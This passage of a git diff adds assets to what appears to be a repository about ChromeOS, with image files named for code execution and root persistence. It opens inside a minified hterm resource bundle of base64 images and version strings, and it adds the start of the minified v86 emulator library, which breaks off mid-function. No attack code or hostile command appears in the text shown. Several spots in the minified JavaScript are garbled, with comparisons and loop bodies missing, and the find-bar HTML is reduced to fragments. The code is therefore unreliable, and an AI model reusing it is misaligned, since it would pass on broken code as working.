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"+"m2L/kruPM6Q7oz4tvDQy+bZ3HzOi+gNHA4DZEgA=");lib.resource.add("hterm/images/copy","image/svg+xml;utf8",''+' '+"");lib.resource.add("hterm/images/close","image/svg+xml;utf8",''+' '+"");lib.resource.add("hterm/images/keyboard_arrow_down","image/svg+xml;utf8",''+' '+"");lib.resource.add("hterm/images/keyboard_arrow_up","image/svg+xml;utf8",''+' '+"");lib.resource.add("hterm/html/find_bar","text/html;utf8",""+""+""+"
0/0
"+"
"+"
"+"
"+"
");lib.resource.add("hterm/html/find_screen","text/html;utf8",""+"");lib.resource.add("hterm/images/icon-96","image/png;base64","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"+"YII=");lib.resource.add("hterm/concat/date","text/plain","Mon, 01 Apr 2024 19:43:41 +0000");lib.resource.add("hterm/changelog/version","text/plain","1.92.1");lib.resource.add("hterm/changelog/date","text/plain","2022-03-04");lib.resource.add("hterm/git/HEAD","text/plain","d282bc164a38c1b3ff25cf0e64c640a506c749ea"); diff --git a/assets/images/chunked.jpg b/assets/images/chunked.jpg new file mode 100644 index 0000000..fee8f0f Binary files /dev/null and b/assets/images/chunked.jpg differ diff --git a/assets/images/chunked_workaround.jpg b/assets/images/chunked_workaround.jpg new file mode 100644 index 0000000..2f33526 Binary files /dev/null and b/assets/images/chunked_workaround.jpg differ diff --git a/assets/images/code_execution.jpg b/assets/images/code_execution.jpg new file mode 100644 index 0000000..5fad8d4 Binary files /dev/null and b/assets/images/code_execution.jpg differ diff --git a/assets/images/crosh_kiosk.jpg b/assets/images/crosh_kiosk.jpg new file mode 100644 index 0000000..8a3567e Binary files /dev/null and b/assets/images/crosh_kiosk.jpg differ diff --git a/assets/images/policy_persistence.jpg b/assets/images/policy_persistence.jpg new file mode 100644 index 0000000..367aa63 Binary files /dev/null and b/assets/images/policy_persistence.jpg differ diff --git a/assets/images/postinst.jpg b/assets/images/postinst.jpg new file mode 100644 index 0000000..0900c82 Binary files /dev/null and b/assets/images/postinst.jpg differ diff --git a/assets/images/root_persistence.jpg b/assets/images/root_persistence.jpg new file mode 100644 index 0000000..4a81164 Binary files /dev/null and b/assets/images/root_persistence.jpg differ diff --git a/assets/libv86.js b/assets/libv86.js new file mode 100644 index 0000000..6cb18eb --- /dev/null +++ b/assets/libv86.js @@ -0,0 +1,626 @@ +;(function(){'use strict';function ba(a,b){function c(x){x=x.toString(16);return"#"+"0".repeat(6-x.length)+x}function d(x,C,S,P){x.style.width="";x.style.height="";P&&(x.style.transform="");var aa=x.getBoundingClientRect();P?x.style.transform=(1===C?"":" scaleX("+C+")")+(1===S?"":" scaleY("+S+")"):(0===C%1&&0===S%1?(e.style.imageRendering="crisp-edges",e.style.imageRendering="pixelated",e.style["-ms-interpolation-mode"]="nearest-neighbor"):(e.style.imageRendering="",e.style["-ms-interpolation-mode"]=""),P=window.devicePixelRatio|| +1,0!==P%1&&(C/=P,S/=P));1!==C&&(x.style.width=aa.width*C+"px");1!==S&&(x.style.height=aa.height*S+"px")}console.assert(a,"1st argument must be a DOM container");var e=a.getElementsByTagName("canvas")[0],g=e.getContext("2d",{alpha:!1}),f=a.getElementsByTagName("div")[0],k=document.createElement("div"),l,m,n=1,p=1,t=1,q,z=!1,w,u,I,U=!1,ea=this;a=new Uint16Array([8962,199,252,233,226,228,224,229,231,234,235,232,239,238,236,196,197,201,230,198,244,246,242,251,249,255,214,220,162,163,165,8359,402,225, +237,243,250,241,209,170,186,191,8976,172,189,188,161,171,187,9617,9618,9619,9474,9508,9569,9570,9558,9557,9571,9553,9559,9565,9564,9563,9488,9492,9524,9516,9500,9472,9532,9566,9567,9562,9556,9577,9574,9568,9552,9580,9575,9576,9572,9573,9561,9560,9554,9555,9579,9578,9496,9484,9608,9604,9612,9616,9600,945,223,915,960,931,963,181,964,934,920,937,948,8734,966,949,8745,8801,177,8805,8804,8992,8993,247,8776,176,8729,183,8730,8319,178,9632,160]);for(var Ab=new Uint16Array([32,9786,9787,9829,9830,9827,9824, +8226,9688,9675,9689,9794,9792,9834,9835,9788,9658,9668,8597,8252,182,167,9644,8616,8593,8595,8594,8592,8735,8596,9650,9660]),Ra=[],db,sa=0;256>sa;sa++)db=126sa?Ab[sa]:sa,Ra[sa]=String.fromCharCode(db);g.imageSmoothingEnabled=!1;k.style.position="absolute";k.style.backgroundColor="#ccc";k.style.width="7px";k.style.display="inline-block";f.style.display="block";e.style.display="none";this.bus=b;b.register("screen-set-mode",function(x){this.set_mode(x)},this);b.register("screen-fill-buffer-end", +function(x){this.update_buffer(x)},this);b.register("screen-put-char",function(x){this.put_char(x[0],x[1],x[2],x[3],x[4])},this);b.register("screen-update-cursor",function(x){this.update_cursor(x[0],x[1])},this);b.register("screen-update-cursor-scanline",function(x){this.update_cursor_scanline(x[0],x[1])},this);b.register("screen-clear",function(){this.clear_screen()},this);b.register("screen-set-size-text",function(x){this.set_size_text(x[0],x[1])},this);b.register("screen-set-size-graphical",function(x){this.set_size_graphical(x[0], +x[1],x[2],x[3])},this);this.init=function(){this.set_size_text(80,25);this.timer()};this.make_screenshot=function(){const x=new Image;if(z)x.src=e.toDataURL("image/png");else{const C=[9,16],S=document.createElement("canvas");S.width=u*C[0];S.height=I*C[1];const P=S.getContext("2d");P.imageSmoothingEnabled=!1;P.font=window.getComputedStyle(f).font;P.textBaseline="top";for(let aa=0;aaC;)f.removeChild(f.firstChild);for(;f.childNodes.length=x&&2*x{g.putImageData(C.image_data,C.screen_x-C.buffer_x,C.screen_y-C.buffer_y,C.buffer_x,C.buffer_y,C.buffer_width,C.buffer_height)})};this.init()};const ca=Object.freeze(["shared","exclusive","unlock"]); +function da(a,b,c){this.fs=a;this.bus=c;this.configspace_tagname=[104,111,115,116,57,112];this.configspace_taglen=this.configspace_tagname.length;this.VERSION="9P2000.L";this.msize=this.BLOCKSIZE=8192;this.replybuffer=new Uint8Array(2*this.msize);this.replybuffersize=0;this.fids=[];this.virtio=new h(b,{name:"virtio-9p",pci_id:48,device_id:4169,subsystem_device_id:9,common:{initial_port:43008,queues:[{size_supported:32,notify_offset:0}],features:[0,32,29,28],on_driver_ok:()=>{}},notification:{initial_port:43264, +single_handler:!1,handlers:[d=>{if(0===d){for(;this.virtqueue.has_request();)d=this.virtqueue.pop_request(),this.ReceiveRequest(d);this.virtqueue.notify_me_after(0)}}]},isr_status:{initial_port:42752},device_specific:{initial_port:42496,struct:[{bytes:2,name:"mount tag length",read:()=>this.configspace_taglen,write:()=>{}}].concat(r.range(254).map(d=>({bytes:1,name:"mount tag name "+d,read:()=>this.configspace_tagname[d]||0,write:()=>{}})))}});this.virtqueue=this.virtio.queues[0]} +da.prototype.get_state=function(){var a=[];a[0]=this.configspace_tagname;a[1]=this.configspace_taglen;a[2]=this.virtio;a[3]=this.VERSION;a[4]=this.BLOCKSIZE;a[5]=this.msize;a[6]=this.replybuffer;a[7]=this.replybuffersize;a[8]=this.fids.map(function(b){return[b.inodeid,b.type,b.uid,b.dbg_name]});a[9]=this.fs;return a}; +da.prototype.set_state=function(a){this.configspace_tagname=a[0];this.configspace_taglen=a[1];this.virtio.set_state(a[2]);this.virtqueue=this.virtio.queues[0];this.VERSION=a[3];this.BLOCKSIZE=a[4];this.msize=a[5];this.replybuffer=a[6];this.replybuffersize=a[7];this.fids=a[8].map(function(b){return{inodeid:b[0],type:b[1],uid:b[2],dbg_name:b[3]}});this.fs.set_state(a[9])};da.prototype.Createfid=function(a,b,c,d){return{inodeid:a,type:b,uid:c,dbg_name:d}}; +da.prototype.update_dbg_name=function(a,b){for(const c of this.fids)c.inodeid===a&&(c.dbg_name=b)};da.prototype.Reset=function(){this.fids=[]};da.prototype.BuildReply=function(a,b,c){v.Marshall(["w","b","h"],[c+7,a+1,b],this.replybuffer,0);c+7>=this.replybuffer.length&&y.Debug("Error in 9p: payloadsize exceeds maximum length");this.replybuffersize=c+7};da.prototype.SendError=function(a,b,c){b=v.Marshall(["w"],[c],this.replybuffer,7);this.BuildReply(6,a,b)}; +da.prototype.SendReply=function(a){a.set_next_blob(this.replybuffer.subarray(0,this.replybuffersize));this.virtqueue.push_reply(a);this.virtqueue.flush_replies()}; +da.prototype.ReceiveRequest=async function(a){var b=new Uint8Array(a.length_readable);a.get_next_blob(b);var c={offset:0},d=v.Unmarshall(["w","b","h"],b,c),e=d[0],g=d[1],f=d[2];switch(g){case 